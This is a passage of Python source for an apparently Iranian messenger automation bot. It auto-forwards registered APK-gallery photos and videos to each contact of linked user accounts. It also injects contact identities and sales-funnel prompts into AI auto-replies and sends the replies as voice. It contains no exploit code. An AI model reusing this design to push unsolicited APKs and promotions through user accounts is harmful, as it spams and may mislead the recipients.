async def _trx647_gallery_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data = str(data or "")
    legacy_video = data.startswith(GVIDEO_PREFIX)
    if legacy_video:
        data = GALLERY_PREFIX + "start"
    if not data.startswith(GALLERY_PREFIX):
        return None
    await _safe_answer(cb_id)
    try:
        if data == GALLERY_PREFIX + "start":
            rows = _DB().fetchall("SELECT account_id,platform,COUNT(*) c FROM trx_apk_gallery WHERE user_id=? GROUP BY account_id,platform", (int(uid),))
            vids = _DB().fetchall("SELECT account_id,platform FROM trx_apk_gallery_video WHERE user_id=?", (int(uid),))
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("گالری APK", [f"🖼 عکس‌های ثبت‌شده: {sum(int(r['c'] or 0) for r in rows)}", f"🎬 ویدیوهای ثبت‌شده: {len(vids)} — یک ویدیو برای هر اکانت/پلتفرم"]), _IKB([
                [("➕ افزودن / ویرایش رسانه", GALLERY_PREFIX + "setup", "primary")],
                [("🗑 حذف ویدیوهای ثبت‌شده", GALLERY_PREFIX + "remove.video", "danger")],
                [("↩️ بازگشت", "ai", "primary")],
            ]))
        if data == GALLERY_PREFIX + "setup":
            _trx647_clear(_TRX647_GALLERY_STATE, uid)
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("گالری APK", ["پلتفرم را انتخاب کن"]), _IKB([
                [("🔵 روبیکا", GALLERY_PREFIX + "plat:rubika", "primary"), ("🔴 سروش پلاس", GALLERY_PREFIX + "plat:soroush", "danger")],
                [("🟡 بله", GALLERY_PREFIX + "plat:bale", "primary"), ("🟦 تلگرام", GALLERY_PREFIX + "plat:telegram", "primary")],
                [("🟩 شاد", GALLERY_PREFIX + "plat:shad", "success")],
                [("↩️ بازگشت", GALLERY_PREFIX + "start", "primary")],
            ]))
        if data.startswith(GALLERY_PREFIX + "plat:"):
            plat = _trx647_platform(data.split(":", 1)[1])
            rows = _DB().fetchall("SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC", (int(uid), plat)) if plat else []
            btns = [[(f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}", f"{GALLERY_PREFIX}acc:{int(r['id'])}:{plat}", "primary")] for r in rows]
            btns.append([("↩️ بازگشت", GALLERY_PREFIX + "setup", "primary")])
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu(f"اکانت {_platform_label(plat, lang)}", ["عکس و ویدیو در همین گالری ذخیره می‌شود"]), _IKB(btns))
        if data.startswith(GALLERY_PREFIX + "acc:"):
            aid, plat = _trxj_parse_account_callback(data, GALLERY_PREFIX)
            if aid is None or not _trxj_validate_account(uid, aid, plat):
                _trx647_clear(_TRX647_GALLERY_STATE, uid)
                return await _safe_edit(chat_id, msg_id, "❌ اکانت یا پلتفرم نامعتبر است.", _trx647_menu(lang, uid))
            _TRX647_GALLERY_STATE[int(uid)] = {"aid": int(aid), "platform": plat, "state": "media", "created": _trx647_now(), "expires": _trx647_now() + TRX647_STATE_TTL}
            photo = _DB().fetchone("SELECT COUNT(*) c FROM trx_apk_gallery WHERE user_id=? AND account_id=? AND platform=?", (int(uid), int(aid), plat))
            video = _DB().fetchone("SELECT COUNT(*) c FROM trx_apk_gallery_video WHERE user_id=? AND account_id=? AND platform=?", (int(uid), int(aid), plat))
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.wizard("گالری APK", "مرحله ۱", "لینک مستقیم یک عکس یا ویدیو را بفرست", f"عکس {int(photo['c'] or 0)}/2 • ویدیو {int(video['c'] or 0)}/1 • بعدی را بفرست یا /done بزن"), _IKB([[('❌ لغو', GALLERY_PREFIX + 'cancel', 'danger')]]))
        if data == GALLERY_PREFIX + "remove.video":
            _DB().execute("DELETE FROM trx_apk_gallery_video WHERE user_id=?", (int(uid),))
            _DB().execute("DELETE FROM trx_apk_video_quota WHERE user_id=?", (int(uid),))
            return await _safe_edit(chat_id, msg_id, "✓ ویدیوهای ثبت‌شده حذف شدند.", _trx647_menu(lang, uid))
        if data == GALLERY_PREFIX + "cancel":
            _trx647_clear(_TRX647_GALLERY_STATE, uid)
            return await _safe_edit(chat_id, msg_id, "❌ لغو شد.", _trx647_menu(lang, uid))
        if data == GALLERY_PREFIX + "status":
            return await _safe_edit(chat_id, msg_id, "✓ گالری APK فعال است و ویدیو/عکس‌ها از همین بخش مدیریت می‌شوند.", _IKB([[('↩️ بازگشت', GALLERY_PREFIX + 'start', 'primary')]]))
    except Exception as exc:
        _trx647_clear(_TRX647_GALLERY_STATE, uid)
        _LOG_ERR(f"[TRX647][gallery] {_mask(str(exc))}")
        return await _safe_edit(chat_id, msg_id, "⚠️ خطا در گالری APK.", _trx647_menu(lang, uid))
    return None


async def _trx647_gallery_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    raw = str(msg.get("text") or "").strip()
    if not uid or not chat_id or not raw:
        return None
    st = _TRX647_GALLERY_STATE.get(int(uid))
    if not st:
        return None
    if _trx647_now() >= float(st.get("expires", 0)):
        _trx647_clear(_TRX647_GALLERY_STATE, uid)
        return await _BOT().send(chat_id, "❌ مرحله گالری منقضی شده؛ دوباره از گالری APK شروع کن.")
    if raw.lower() == "/done":
        _trx647_clear(_TRX647_GALLERY_STATE, uid)
        return await _BOT().send(chat_id, "✓ گالری APK ذخیره شد.", reply_markup=_trx647_menu(trx.get_lang(uid) or "fa", uid))
    if st.get("state") != "media":
        return None
    try:
        aid, plat = int(st["aid"]), str(st["platform"])
        client = trx.ai_live_clients.get((int(uid), aid)) or await trx._ensure_ai_client(int(uid), aid)
        ok, reason, obj, source_peer = await _trx647_get_source_message(client, plat, raw)
        if not ok:
            return await _BOT().send(chat_id, f"❌ {reason}")
        kind = _trx647_media_kind(obj)
        if kind == "apk":
            return await _BOT().send(chat_id, "❌ این لینک APK است؛ برای APK از دکمه «ارسال APK» استفاده کن.")
        mid = _trx647_parse_message_link(plat, raw)[2]
        if kind == "photo":
            row = _DB().fetchone("SELECT COUNT(*) c FROM trx_apk_gallery WHERE user_id=? AND account_id=? AND platform=?", (int(uid), aid, plat))
            c = int(row["c"] or 0)
            if c >= 2:
                return await _BOT().send(chat_id, "❌ این اکانت همین حالا دو عکس دارد.")
            idx = c + 1
            _DB().execute("INSERT OR REPLACE INTO trx_apk_gallery(user_id,account_id,platform,photo_index,source_peer,source_message_id,photo_link,created_at) VALUES(?,?,?,?,?,?,?,?)", (int(uid), aid, plat, idx, str(source_peer or ""), str(mid), raw, trx.now()))
            st["expires"] = _trx647_now() + TRX647_STATE_TTL
            return await _BOT().send(chat_id, f"✓ عکس {idx}/2 ثبت شد؛ عکس دوم یا ویدیو را بفرست، یا /done بزن.")
        if kind == "video":
            row = _DB().fetchone("SELECT id FROM trx_apk_gallery_video WHERE user_id=? AND account_id=? AND platform=?", (int(uid), aid, plat))
            if row:
                return await _BOT().send(chat_id, "❌ برای این اکانت/پلتفرم یک ویدیو قبلاً ثبت شده است.")
            _DB().execute("INSERT OR REPLACE INTO trx_apk_gallery_video(user_id,account_id,platform,source_peer,source_message_id,video_link,created_at) VALUES(?,?,?,?,?,?,?)", (int(uid), aid, plat, str(source_peer or ""), str(mid), raw, trx.now()))
            st["expires"] = _trx647_now() + TRX647_STATE_TTL
            return await _BOT().send(chat_id, "✓ ویدیو ثبت شد و برای هر مخاطب فقط یک بار خودکار فوروارد می‌شود.")
        return await _BOT().send(chat_id, "❌ پیام لینک‌شده باید عکس یا ویدیو باشد.")
    except Exception as exc:
        _trx647_clear(_TRX647_GALLERY_STATE, uid)
        _LOG_ERR(f"[TRX647][gallery-on-msg] {_mask(str(exc))}")
        return await _BOT().send(chat_id, "⚠️ خطا در ثبت گالری APK.")


# Replace old send policies while retaining their existing forward implementation.
def _trx647_video_should_send(uid, aid, platform, peer):
    return bool(_gvideo_get(uid, aid, platform)) and _gvideo_count(uid, aid, platform, peer) < TRX647_VIDEO_MAX_PER_PEER


def _trx647_photo_should_send(uid, aid, platform, peer, user_text):
    if not _gallery_get_photos(uid, aid, platform):
        return False
    return _gallery_forward_count(uid, aid, platform, peer) < TRX647_PHOTO_MAX_PER_PEER


def _trx647_video_maybe_send(uid, aid, platform, peer, user_text, client):
    return _gvideo_maybe_send(uid, aid, platform, peer, user_text, client)


def _trx647_photo_maybe_send(uid, aid, platform, peer, user_text, client):
    return _gallery_maybe_send(uid, aid, platform, peer, user_text, client)


_gvideo_should_send = _trx647_video_should_send
_gallery_should_send = _trx647_photo_should_send


# ---------------------------------------------------------------------------
# Live identity + AI context + voice.
# ---------------------------------------------------------------------------
def _trx647_get_field(obj, key):
    if isinstance(obj, dict):
        return obj.get(key)
    return getattr(obj, key, None)


async def _trx647_resolve_sender(event, client):
    for obj in (
        getattr(event, "sender", None), getattr(event, "from_user", None), getattr(event, "user", None),
        getattr(event, "author", None), getattr(getattr(event, "message", None), "sender", None),
    ):
        if obj is not None and not isinstance(obj, (int, str)):
            return obj
    getter = getattr(event, "get_sender", None)
    if callable(getter):
        try:
            obj = await asyncio.wait_for(_awaitable(getter()), timeout=5)
            if obj is not None:
                return obj
        except Exception:
            pass
    sender_id = getattr(event, "sender_id", None) or getattr(event, "user_id", None)
    if sender_id is not None and client is not None:
        for name in ("get_users", "get_entity"):
            fn = getattr(client, name, None)
            if not callable(fn):
                continue
            try:
                obj = await asyncio.wait_for(_awaitable(fn(sender_id)), timeout=5)
                if isinstance(obj, list):
                    obj = obj[0] if obj else None
                if obj is not None:
                    return obj
            except Exception:
                continue
    return None


def _trx647_identity(obj):
    first = str(_trx647_get_field(obj, "first_name") or "").strip()
    last = str(_trx647_get_field(obj, "last_name") or "").strip()
    name = str(_trx647_get_field(obj, "name") or _trx647_get_field(obj, "title") or "").strip()
    username = str(_trx647_get_field(obj, "username") or "").strip().lstrip("@")
    display = " ".join(x for x in (first, last) if x).strip() or name
    parts = []
    if display:
        parts.append(f"نام: {display}")
    if username:
        parts.append(f"یوزرنیم: @{username}")
    return " | ".join(parts)


async def _trx647_capture_contact(event, uid, aid, platform, peer, client):
    if not _profile_is_enabled(uid):
        return
    try:
        obj = await _trx647_resolve_sender(event, client)
        txt = _trx647_identity(obj)
        if txt:
            _TRX647_CONTACT_ID[(int(uid), int(aid), str(peer))] = {"text": txt, "ts": _trx647_now()}
    except Exception:
        pass


async def _trx647_prime_actor(uid, aid, platform, client):
    if client is None:
        return
    key = (int(uid), int(aid), str(platform))
    cached = _TRX647_ACTOR_ID.get(key)
    if cached and _trx647_now() - float(cached.get("ts", 0)) < 3600:
        return
    obj = None
    for name in ("get_me", "get_current_user"):
        fn = getattr(client, name, None)
        if not callable(fn):
            continue
        try:
            obj = await asyncio.wait_for(_awaitable(fn()), timeout=8)
            if isinstance(obj, dict):
                obj = obj.get("result") or obj.get("user") or obj
            if obj is not None:
                break
        except Exception:
            continue
    if obj is None:
        obj = getattr(client, "me", None) or getattr(client, "user", None)
    txt = _trx647_identity(obj)
    if txt:
        _TRX647_ACTOR_ID[key] = {"text": txt, "ts": _trx647_now()}


_TRX647_AI_SYSTEM_BASE = trx._trx_ai_system


def _trx647_ai_system(uid, aid, mode="reply", extra="", **kwargs):
    try:
        base = _TRX647_AI_SYSTEM_BASE(uid, aid, mode, extra)
    except Exception:
        try:
            base = _TRX647_AI_SYSTEM_BASE(uid, aid, mode, extra, **kwargs)
        except Exception:
            base = ""
    ctx = _TRX647_EVENT_CTX.get() or {}
    platform = str(ctx.get("platform") or _extract_platform_from_extra(extra) or _trxj_detect_platform(aid, "rubika"))
    peer = str(ctx.get("peer") or _extract_peer_from_extra(extra) or "")
    blocks = []
    actor = _TRX647_ACTOR_ID.get((int(uid), int(aid), str(platform)), {})
    contact = _TRX647_CONTACT_ID.get((int(uid), int(aid), str(peer)), {}) if peer else {}
    if actor.get("text"):
        blocks.append("═══ هویت اکانت متصل (قبل از مکالمه خوانده شد) ═══\n" + str(actor["text"]))
    if contact.get("text"):
        blocks.append("═══ مشخصات واقعی مخاطب ═══\n" + str(contact["text"]))
    if peer:
        try:
            fb = _funnel_behavior_prompt(int(uid), int(aid), str(platform), str(peer))
            if fb:
                blocks.append("═══ قیف فروش ═══\n" + fb)
        except Exception:
            pass
        try:
            ltm = _trx647_ltm_get(int(uid), int(aid), str(platform), str(peer))
            if ltm:
                blocks.append("═══ حافظه یک‌ساعته ═══\n" + str(ltm.get("summary") or "")[:1000] + ("\nفکت‌ها: " + str(ltm.get("key_facts") or "")[:500] if ltm.get("key_facts") else ""))
        except Exception:
            pass
        try:
            user_text = str(ctx.get("user_text") or "")
            pats = _learn_get_relevant(int(uid), int(aid), str(platform), user_text, 5) if user_text else []
            if pats:
                blocks.append(_learn_format_for_ai(pats))
        except Exception:
            pass
    blocks.append("پیش از شروع مکالمه پروفایل زنده اکانت را بررسی کن. اگر کاربر درباره نام، یوزرنیم یا هویت خودِ اکانت متصل پرسید، دقیقاً از «هویت اکانت متصل» استفاده کن و چیزی را حدس نزن.")
    blocks.append("نام و یوزرنیم واقعی مخاطب را هم فقط از پروفایل زنده مخاطب بگیر؛ اگر موجود بود طبیعی و بدون تکرار استفاده کن. سن/شغل/شهر را فقط وقتی به کار ببر که کاربر صریحاً گفته باشد.")
    blocks.append("پاسخ PV طبیعی، انسانی‌نما از نظر لحن اما صادقانه باشد و ادعای انسان بودن یا هویت جعلی نکن.")
    blocks.append("وقتی پاسخ متنی AI در PV تولید شد، سیستم در صورت امکان همان پاسخ را به صورت ویس جداگانه می‌فرستد؛ درباره ساخت ویس چیزی در متن نگو.")
    return str(base or "") + "\n\n" + "\n\n".join(blocks)


trx._trx_ai_system = _trx647_ai_system
_ai_system = _trx647_ai_system


# ---------------------------------------------------------------------------
# One-hour memory — delete both long memory and old ai_memory, reclaim disk.
# ---------------------------------------------------------------------------
def _trx647_ltm_get(uid, aid, platform, peer):
    try:
        row = _DB().fetchone("SELECT * FROM trx_long_memory WHERE user_id=? AND account_id=? AND platform=? AND peer_id=?", (int(uid), int(aid), str(platform), str(peer)))
        if not row:
            return None
        exp = str(row["expires_at"] or "")
        if exp:
            try:
                if datetime.fromisoformat(exp.replace("Z", "")) <= datetime.utcnow():
                    _DB().execute("DELETE FROM trx_long_memory WHERE id=?", (int(row["id"]),))
                    return None
            except Exception:
                pass
        return dict(row)
    except Exception:
        return None


def _trx647_ltm_save(uid, aid, platform, peer, summary, key_facts, msg_count):
    try:
        created = datetime.utcnow(); expires = created + timedelta(seconds=TRX647_MEMORY_TTL_SECONDS)
        _DB().execute(
            "INSERT INTO trx_long_memory(user_id,account_id,platform,peer_id,summary,key_facts,message_count,created_at,expires_at) VALUES(?,?,?,?,?,?,?,?,?) "
            "ON CONFLICT(user_id,account_id,platform,peer_id) DO UPDATE SET summary=excluded.summary,key_facts=excluded.key_facts,message_count=excluded.message_count,created_at=excluded.created_at,expires_at=excluded.expires_at",
            (int(uid), int(aid), str(platform), str(peer), str(summary)[:4000], str(key_facts)[:2000], int(msg_count), created.isoformat(), expires.isoformat()),
        )
    except Exception as exc:
        _LOG_WARN(f"[TRX647][memory-save] {_mask(str(exc))}")


def _trx647_memory_cleanup():
    try:
        cutoff = (datetime.utcnow() - timedelta(seconds=TRX647_MEMORY_TTL_SECONDS)).isoformat()
        n1 = _DB().execute("DELETE FROM trx_long_memory WHERE expires_at<=? OR created_at<=?", (datetime.utcnow().isoformat(), cutoff)).rowcount
        n2 = 0
        try:
            n2 = _DB().execute("DELETE FROM ai_memory WHERE created_at<=?", (cutoff,)).rowcount
        except Exception:
            pass
        if (n1 or 0) or (n2 or 0):
            try: _DB().conn.commit()
            except Exception: pass
            try: _DB().conn.execute("PRAGMA wal_checkpoint(TRUNCATE)")
            except Exception: pass
            try: _DB().conn.execute("VACUUM")
            except Exception as exc: _LOG_WARN(f"[TRX647][memory-vacuum] {_mask(str(exc))}")
            _LOG_INFO(f"[TRX647][memory] deleted ltm={int(n1 or 0)} ai_memory={int(n2 or 0)}")
    except Exception as exc:
        _LOG_WARN(f"[TRX647][memory-clean] {_mask(str(exc))}")


async def _trx647_memory_scheduler():
    while True:
        try:
            _trx647_memory_cleanup()
            await asyncio.sleep(TRX647_MEMORY_CLEANUP_SECONDS)
        except asyncio.CancelledError:
            raise
        except Exception:
            await asyncio.sleep(TRX647_MEMORY_CLEANUP_SECONDS)


TRX_LTM_TTL_DAYS = 1 / 24.0
_ltm_get = _trx647_ltm_get
_ltm_save = _trx647_ltm_save
_ltm_cleanup = _trx647_memory_cleanup
trx._ltm_get = _trx647_ltm_get
trx._ltm_save = _trx647_ltm_save
trx._ltm_cleanup = _trx647_memory_cleanup


# ---------------------------------------------------------------------------
# Channel photo on/off toggle.
# ---------------------------------------------------------------------------
def _trx647_channel_photo_enabled(uid, aid):
    try:
        return str(_setting_get(TRX647_CHANNEL_PHOTO_KEY.format(uid=int(uid), aid=int(aid)), "1")) != "0"
    except Exception:
        return True


def _trx647_channel_photo_toggle(uid, aid):
    new = not _trx647_channel_photo_enabled(uid, aid)
    _setting_set(TRX647_CHANNEL_PHOTO_KEY.format(uid=int(uid), aid=int(aid)), "1" if new else "0")
    return new


_TRX647_OLD_SEND_IMAGE = getattr(trx, "_trx660_send_image_to_target", None)

# Channel-activity cadence: post an image on 2 of every 3 channel messages
# ("هر ۲-۳ پیام یکبار عکس بذار"). Counter is per (user, account, target).
_TRX647_CHANNEL_IMG_COUNTER = {}


async def _trx647_send_image_to_target(client, target, image_url, caption=""):
    # Always return a plain bool: the caller treats the return value as
    # `image_sent`, and a truthy tuple would corrupt the caption flow.
    ctx = _TRX647_CHANNEL_CTX.get()
    if ctx:
        uid, aid = ctx
        if not _trx647_channel_photo_enabled(uid, aid):
            return False
        # Cadence throttle (only for real channel runs, i.e. when ctx is set).
        try:
            key = (int(uid), int(aid), str(target))
            n = _TRX647_CHANNEL_IMG_COUNTER.get(key, 0) + 1
            _TRX647_CHANNEL_IMG_COUNTER[key] = n
            # Skip only every 3rd message -> image on 2 of 3.
            if n % 3 == 0:
                return False
        except Exception:
            pass
    if not callable(_TRX647_OLD_SEND_IMAGE):
        return False
    try:
        return bool(await _awaitable(_TRX647_OLD_SEND_IMAGE(client, target, image_url, caption=caption)))
    except Exception as exc:
        _LOG_WARN(f"[TRX647][channel-img] {_mask(str(exc))}")
        return False


if callable(_TRX647_OLD_SEND_IMAGE):
    trx._trx660_send_image_to_target = _trx647_send_image_to_target


# ---------------------------------------------------------------------------
# Rubika OTP — exact rubpy pattern from the supplied GitHub reference,
# hard deadline 10 seconds and SystemExit isolation.
# ---------------------------------------------------------------------------
async def _trx647_rubika_send_code(uid, phone):
    client = None
    try:
        from rubpy import Client
    except Exception:
        return False, "کتابخانه rubpy نصب نیست."
    try:
        session_name = os.path.join(trx.SESS_DIR, f"rubika_{int(uid)}")
        try:
            client = Client(session_name)
        except TypeError:
            client = Client(name=session_name)
        connect = getattr(client, "connect", None)
        send_code = getattr(client, "send_code", None)
        if not callable(send_code):
            raise RuntimeError("rubpy Client.send_code موجود نیست")

        async def _run():
            if callable(connect):
                await _awaitable(connect())
            sent = await _awaitable(send_code(str(phone).strip()))
            return sent

        sent = await asyncio.wait_for(_run(), timeout=10)
        phone_hash = getattr(sent, "phone_code_hash", None)
        if not phone_hash and isinstance(sent, dict):
            phone_hash = sent.get("phone_code_hash") or ((sent.get("result") or {}).get("phone_code_hash") if isinstance(sent.get("result"), dict) else None)
        if not phone_hash:
            raise RuntimeError("rubpy پاسخی با phone_code_hash نداد")
        trx.active_clients[int(uid)] = {"client": client, "service": "rubika", "phone": str(phone).strip(), "phone_input": str(phone).strip(), "hash": str(phone_hash), "connected": False, "created_at": _trx647_now(), "backend": "rubpy_github_flow"}
        return True, sent
    except asyncio.TimeoutError:
        try:
            fn = getattr(client, "close", None)
            if callable(fn): await _awaitable(fn())
        except Exception: pass
        trx.active_clients.pop(int(uid), None)
        return False, "ارسال کد روبیکا بیشتر از ۱۰ ثانیه طول کشید؛ شکست خورد."
    except (Exception, SystemExit) as exc:
        try:
            fn = getattr(client, "close", None)
            if callable(fn): await _awaitable(fn())
        except Exception: pass
        trx.active_clients.pop(int(uid), None)
        _LOG_ERR(f"[TRX647][RubikaOTP] {_mask(str(exc))}")
        return False, "ارسال کد روبیکا شکست خورد؛ ربات برای سایر کاربران فعال می‌ماند."


try:
    _TRX647_RUBIKA_VERIFY_OLD = trx.SERVICE_HANDLERS["rubika"]["verify"]
    trx.SERVICE_HANDLERS["rubika"] = {"send": _trx647_rubika_send_code, "verify": _TRX647_RUBIKA_VERIFY_OLD}
except Exception as exc:
    _LOG_WARN(f"[TRX647][RubikaOTP] install failed: {_mask(str(exc))}")


# ---------------------------------------------------------------------------
# Final live wrapper: actor profile before reply + event context + voice.
# ---------------------------------------------------------------------------
_TRX647_LIVE_BASE = trx._trx01_event_handler


async def _trx647_live_handler(event, uid, service, aid):
    platform = _trx647_platform(service) or str(service or "rubika").lower()
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    if client is None:
        try: client = await trx._ensure_ai_client(int(uid), int(aid))
        except Exception: client = None
    try: peer = str(trx._trx_peer_key(event, f"{platform}:{aid}") or "")
    except Exception: peer = f"{platform}:{aid}"
    try: user_text = str(trx._trx_extract_event_text(event) or "").strip()
    except Exception: user_text = str(getattr(event, "raw_text", "") or "").strip()
    try: is_private = bool(trx._trx_is_private_event(event))
    except Exception: is_private = True
    token = _TRX647_EVENT_CTX.set({"uid": int(uid), "aid": int(aid), "platform": platform, "peer": peer, "user_text": user_text, "private": is_private})
    try:
        await _trx647_prime_actor(uid, aid, platform, client)
        if user_text and not user_text.startswith("/"):
            await _trx647_capture_contact(event, uid, aid, platform, peer, client)
        result = await _TRX647_LIVE_BASE(event, uid, service, aid)
        return result
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        _LOG_ERR(f"[TRX647][live] {_mask(str(exc))}")
        try:
            return await _TRX647_LIVE_BASE(event, uid, service, aid)
        except Exception:
            return None
    finally:
        _TRX647_EVENT_CTX.reset(token)


for _n in ("_trx01_event_handler", "_trx_event_handler", "_trx_event_handler_v9", "_trx_event_handler_v10", "_trx_event_handler_v11", "_trx115_event_handler_v14"):
    try: setattr(trx, _n, _trx647_live_handler)
    except Exception: pass


# AI chat wrapper: after every eligible private auto-reply, send the same reply as TTS.
_TRX647_AI_CHAT_BASE = getattr(trx.AIProvider, "chat", None)


async def _trx647_ai_chat(self, messages, uid=0, account_id=None, action_type="chat", temperature=0.7, max_tokens=600):
    result = await _TRX647_AI_CHAT_BASE(self, messages, uid=uid, account_id=account_id, action_type=action_type, temperature=temperature, max_tokens=max_tokens)
    try:
        ctx = _TRX647_EVENT_CTX.get() or {}
        if result and ctx.get("private") and str(action_type) == "auto_reply" and account_id is not None:
            key = hashlib.sha1(f"{uid}:{account_id}:{ctx.get('peer','')}:{str(result)[:800]}".encode("utf-8", "ignore")).hexdigest()
            if key not in _TRX647_VOICE_KEYS:
                _TRX647_VOICE_KEYS.add(key)
                _create_task(_trx647_tts_dedup(uid, int(account_id), str(ctx.get("platform") or ""), str(ctx.get("peer") or ""), str(ctx.get("user_text") or ""), str(result), key))
    except Exception as exc:
        _LOG_WARN(f"[TRX647][voice-hook] {_mask(str(exc))}")
    return result


async def _trx647_tts_dedup(uid, aid, platform, peer, user_text, reply_text, key):
    try:
        await _trx_tts_maybe_send(uid, aid, platform, peer, user_text, reply_text)
    finally:
        await asyncio.sleep(2)
        _TRX647_VOICE_KEYS.discard(key)


if callable(_TRX647_AI_CHAT_BASE):
    trx.AIProvider.chat = _trx647_ai_chat


def _trx647_tts_should_send(uid, aid, platform, peer, user_text):
    return _voice_quota_remaining(uid, aid, platform, peer) > 0


trx._trx_tts_should_send = _trx647_tts_should_send


# ---------------------------------------------------------------------------
# AI menu: remove duplicate APK + separate video gallery; keep unified gallery.
# ---------------------------------------------------------------------------
_TRX647_AI_MENU_BASE = trx.ai_advanced_menu


def _trx647_ai_menu(lang, uid):
    try:
        base = _TRX647_AI_MENU_BASE(lang, uid)
        rows = []
        seen = set()
        for row in (base or {}).get("inline_keyboard", []):
            nr = []
            for btn in row:
                if not isinstance(btn, dict):
                    nr.append(btn); continue
                cb = btn.get("callback_data")
                if cb in ("ai.apk.send",):
                    continue
                if isinstance(cb, str) and cb.startswith("apkgallery.video"):
                    continue
                if cb in seen:
                    continue
                seen.add(cb); nr.append(btn)
            if nr: rows.append(nr)
        if "apkfix.start" not in seen:
            rows.append([{"text": "📤 ارسال APK", "callback_data": "apkfix.start"}])
        if GALLERY_PREFIX + "start" not in seen:
            rows.append([{"text": "🖼 گالری APK", "callback_data": GALLERY_PREFIX + "start"}])
        return {"inline_keyboard": rows}
    except Exception:
        return _TRX647_AI_MENU_BASE(lang, uid)


trx.ai_advanced_menu = _trx647_ai_menu


# ---------------------------------------------------------------------------
# Channel activity menu + photo toggle.
# ---------------------------------------------------------------------------
_TRX647_DISPATCH_PREV = trx.dispatch_cb
_TRX647_ON_MSG_PREV = trx.on_msg


async def _trx647_dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    data = str(data or "")
    try:
        if data.startswith(APKFIX_PREFIX):
            r = await _trx647_apk_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data)
            if r is not None: return r
        if data == "ai.bulk.contacts" or data.startswith(BULK_PREFIX) or data in ("trx222b.bulk.confirm", "trx222b_bulk_confirm"):
            bulk_data = BULK_PREFIX + "confirm" if data in ("trx222b.bulk.confirm", "trx222b_bulk_confirm") else data
            r = await _trx647_bulk_dispatch(cb_id, uid, lang, u, chat_id, msg_id, bulk_data)
            if r is not None: return r
        if data.startswith(GALLERY_PREFIX) or data.startswith(GVIDEO_PREFIX):
            r = await _trx647_gallery_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data)
            if r is not None: return r
        if data.startswith("user.funnel."):
            r = await _funnel_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data)
            if r is not None: return r
        if data in ("user.profile.toggle", "user.learn.toggle"):
            r = await _profile_learn_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data)
            if r is not None: return r
        if data.startswith("user.ltm."):
            r = await _ltm_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data)
            if r is not None: return r
        if data.startswith(KWL_PREFIX):
            r = await _kwl_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data)
            if r is not None: return r
        if data.startswith("channel.photo.toggle:"):
            await _safe_answer(cb_id)
            try: aid = int(data.split(":", 1)[1])
            except Exception: return await _safe_edit(chat_id, msg_id, "❌ اکانت نامعتبر.", _trx647_menu(lang, uid))
            acc = _DB().fetchone("SELECT service FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, int(uid)))
            if not acc:
                return await _safe_edit(chat_id, msg_id, "❌ اکانت دیگر فعال نیست.", _trx647_menu(lang, uid))
            enabled = _trx647_channel_photo_toggle(uid, aid)
            return await _safe_edit(chat_id, msg_id, ("✅ ارسال عکس فعالیت کانال فعال شد." if enabled else "🛑 ارسال عکس فعالیت کانال غیرفعال شد."), _trx647_menu(lang, uid))
        if data == "ai.channel":
            await _safe_answer(cb_id)
            rows = _DB().fetchall("SELECT id,service,phone FROM accounts WHERE user_id=? AND enabled=1 ORDER BY id DESC", (int(uid),))
            btns = []
            for r in rows:
                aid = int(r["id"]); on = _trx647_channel_photo_enabled(uid, aid)
                btns.append([
                    (f"#{aid} — {_platform_label(r['service'], lang)}", f"ai.task.account:channel:{aid}", "primary"),
                    (("🖼 عکس: روشن" if on else "🖼 عکس: خاموش"), f"channel.photo.toggle:{aid}", "success" if on else "danger"),
                ])
            btns.append([("↩️ بازگشت", "ai", "primary")])
            return await _safe_edit(chat_id, msg_id, TRX_UI_STYLE.menu("فعالیت در کانال", ["برای هر اکانت ارسال عکس خودکار را جداگانه روشن/خاموش کن"]), _IKB(btns))
        if data.startswith("adm."):
            return await trx.admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data)
    except Exception as exc:
        _LOG_ERR(f"[TRX647][dispatch] {_mask(str(exc))}")
        return await _safe_edit(chat_id, msg_id, "⚠️ خطا در این بخش. دوباره از منوی AI شروع کن.", _trx647_menu(lang, uid))
    return await _TRX647_DISPATCH_PREV(cb_id, uid, lang, u, chat_id, msg_id, data)


async def _trx647_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    if uid:
        for fn in (_trx647_bulk_on_msg, _trx647_apk_on_msg, _trx647_gallery_on_msg):
            try:
                result = await fn(msg)
                if result is not None:
                    return result
            except Exception as exc:
                _LOG_ERR(f"[TRX647][on-msg] {_mask(str(exc))}")
                _trx647_clear(_TRX647_BULK_STATE, uid)
                _trx647_clear(_TRX647_APK_STATE, uid)
                _trx647_clear(_TRX647_GALLERY_STATE, uid)
                chat_id = (msg.get("chat") or {}).get("id")
                if chat_id:
                    return await _BOT().send(chat_id, "⚠️ خطا. از منوی AI دوباره شروع کن.")
    return await _TRX647_ON_MSG_PREV(msg)


trx.dispatch_cb = _trx647_dispatch_cb
trx.on_msg = _trx647_on_msg


# ---------------------------------------------------------------------------
# Wrap channel task runner with per-account photo toggle.
# ---------------------------------------------------------------------------
_TRX647_RUN_TASK_BASE = getattr(trx, "_trx660_run_task", None)


async def _trx647_run_task(task):
    if not callable(_TRX647_RUN_TASK_BASE):
        return None
    try:
        task_type = task.get("task_type") if isinstance(task, dict) else task["task_type"]
    except Exception:
        task_type = ""
    if str(task_type) != "channel":
        return await _TRX647_RUN_TASK_BASE(task)
    try:
        uid = int(task["user_id"]); aid = int(task["account_id"])
    except Exception:
        return await _TRX647_RUN_TASK_BASE(task)
    token = _TRX647_CHANNEL_CTX.set((uid, aid))
    try:
        return await _TRX647_RUN_TASK_BASE(task)
